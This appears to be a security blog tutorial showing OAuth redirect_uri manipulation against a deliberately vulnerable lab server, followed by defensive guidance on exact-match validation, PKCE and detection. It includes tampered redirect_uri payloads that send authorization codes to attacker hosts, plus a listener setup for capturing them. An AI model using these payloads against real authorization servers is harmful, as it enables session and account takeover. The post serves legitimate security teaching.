cctbp.com | Tom Stacy, CISSP®
Setup: where the code gets delivered
In the last post we built an isolated, scriptable interception lab: mitmproxy sitting in front of a browser inside a containerized, egress-controlled environment, with mitmweb as the interactive interface. That lab was the groundwork. This post is the first real attack we run inside it.
The target is the OAuth 2.0 authorization code flow, and specifically one
parameter in it: redirect_uri.
A quick refresher on the flow, from the attacker’s seat. The client sends the user’s browser to the authorization server with a request that looks like this:
GET /authorize?response_type=code
&client_id=flawed-client
&redirect_uri=https://client.local/callback
&scope=profile
&state=xyz123 HTTP/1.1
Host: auth.local
The authorization server authenticates the user, gets consent, and sends the
browser back to the redirect_uri carrying the prize:
HTTP/1.1 302 Found
Location: https://client.local/callback?code=SplxlOBeZQ&state=xyz123
The client’s backend then exchanges that code at the token endpoint for an
access token. Everything downstream, the token, the session, the account,
hangs off that authorization code arriving at the right place.
The redirect_uri is what decides “the right place.” That makes it an
authorization decision wearing the costume of a routing convenience.
The Seam: validation that is present but not strict
The OAuth spec is unambiguous here. The authorization server must validate the
redirect_uri in the authorization request against a value the client
pre-registered, and RFC 6749 calls for exact matching. In practice this is one
of the most consistently weakened controls in real deployments, because
“exact” is inconvenient during development and the shortcuts survive into
production.
The failure modes worth knowing:
- No validation at all. The server accepts whatever
redirect_uriit is handed. Rare in mature products, common in internal tools and anything built quickly. - Prefix or
startsWithmatching. The server registeredhttps://client.local/callbackand checks that the incoming value begins with it. An attacker supplieshttps://client.local/callback.attacker.com/orhttps://client.local/callback/../../evil, and the check passes. - Wildcard subdomains. A registration like
https://*.client.local/callbackturns any subdomain takeover, or any forgotten dev subdomain, into a code sink. - Open redirect on the registered host. The
redirect_urimatches exactly, but the registered page contains an open redirect that forwards the code on to an attacker-controlled destination.
Every one of these ends the same way: the authorization code, and whatever it unlocks, is delivered somewhere the client never intended.
Reproducing It: FlawedToken, flaw-02, in the lab
FlawedToken is a deliberately broken OAuth client and authorization server with
each flaw toggled by an environment variable. It is the target we will point the
lab at. The relevant toggle here is FLAW_REDIRECT_URI_VALIDATION, which ships
on, meaning the misconfiguration is active by default and the server performs
no strict validation.
Stand it up:
git clone https://github.com/tstacy/flawedtoken.git
cd flawedtoken
cp .env.example .env
# confirm FLAW_REDIRECT_URI_VALIDATION=on in .env
docker compose up
Point your lab browser through mitmweb at the client, and start a normal login.
You will see the authorization request go out with the legitimate
redirect_uri. Now intercept that request in mitmweb and change one thing:
# original
redirect_uri=http://localhost:8000/callback
# tampered
redirect_uri=http://attacker.local:9000/callback
Forward the request. Because validation is disabled, the authorization server accepts the substituted destination, and the 302 that comes back carries the authorization code to the attacker-controlled URI instead of the client:
HTTP/1.1 302 Found
Location: http://attacker.local:9000/callback?code=a1b2c3d4&state=xyz123
Stand up anything that logs requests on attacker.local:9000 (a second
mitmdump instance is convenient) and you will capture the code as it lands.
The authorization server did exactly what it was told, because nothing told it
the destination was wrong.
That is the entire attack. There is no memory corruption, no cracked crypto, just a control that was supposed to be strict and was not.
Defender Perspective: making the door pick exact locks
Flip the toggle and watch it fail correctly. Note that the variable names the
flaw, not the control, so off disables the flaw and turns strict validation
back on. The toggle is read from .env at runtime, so you recreate the
containers rather than rebuild the image:
# in .env
FLAW_REDIRECT_URI_VALIDATION=off
docker compose up --force-recreate
With the flaw disabled, the authorization server checks the incoming
redirect_uri against the client’s registered allow-list by exact match,
rejects the tampered value, and returns 400 invalid_redirect_uri with no code
issued. That is the target state. Getting there in a real system means:
- Exact-match allow-listing. Register complete, literal redirect URIs and
compare by exact string. No prefix matching, no
startsWith, no substring logic. - No wildcards. Enumerate every legitimate
redirect_uriexplicitly. If a subdomain does not have a reason to receive codes, it does not belong on the list. - PKCE as defense in depth, not as a substitute. PKCE binds the
authorization code to the client instance that began the flow, so an
intercepted code cannot be exchanged by an attacker who lacks the verifier.
That is worth having. But PKCE does not stop a code from being delivered to
the wrong destination, and it does not replace
redirect_urivalidation. Exact matching is still the primary control against manipulation. Treat them as two separate layers. - Detection. Log the
redirect_urion every authorization request and alert on any value that is not an exact registered match. A spike of near-miss URIs (registered host with an extra suffix, unexpected ports, lookalike subdomains) is a probing signature worth catching before it succeeds.
The uncomfortable part for defenders is that this control is invisible when it works and silent when it fails. Nothing crashes. The flow completes. The only difference is who received the code, and that is not something the user or the client sees.
Takeaway
redirect_uri is not routing metadata. It is the authorization server deciding
who is allowed to receive the keys to a session, and any validation weaker than
exact matching hands that decision to whoever is willing to tamper with a
request. In the lab this took one intercepted parameter. In production it takes
the same.
🚀 Want to run these flows without standing up the lab yourself? If you’re testing authorization architectures and want a hosted, isolated environment for authorized OAuth interception, join the ShroudCloud waitlist.
Tom Stacy, CISSP®, is an authentication and identity security specialist. He writes at cctbp.com and is building ShroudCloud™, an engagement infrastructure for auth and session security.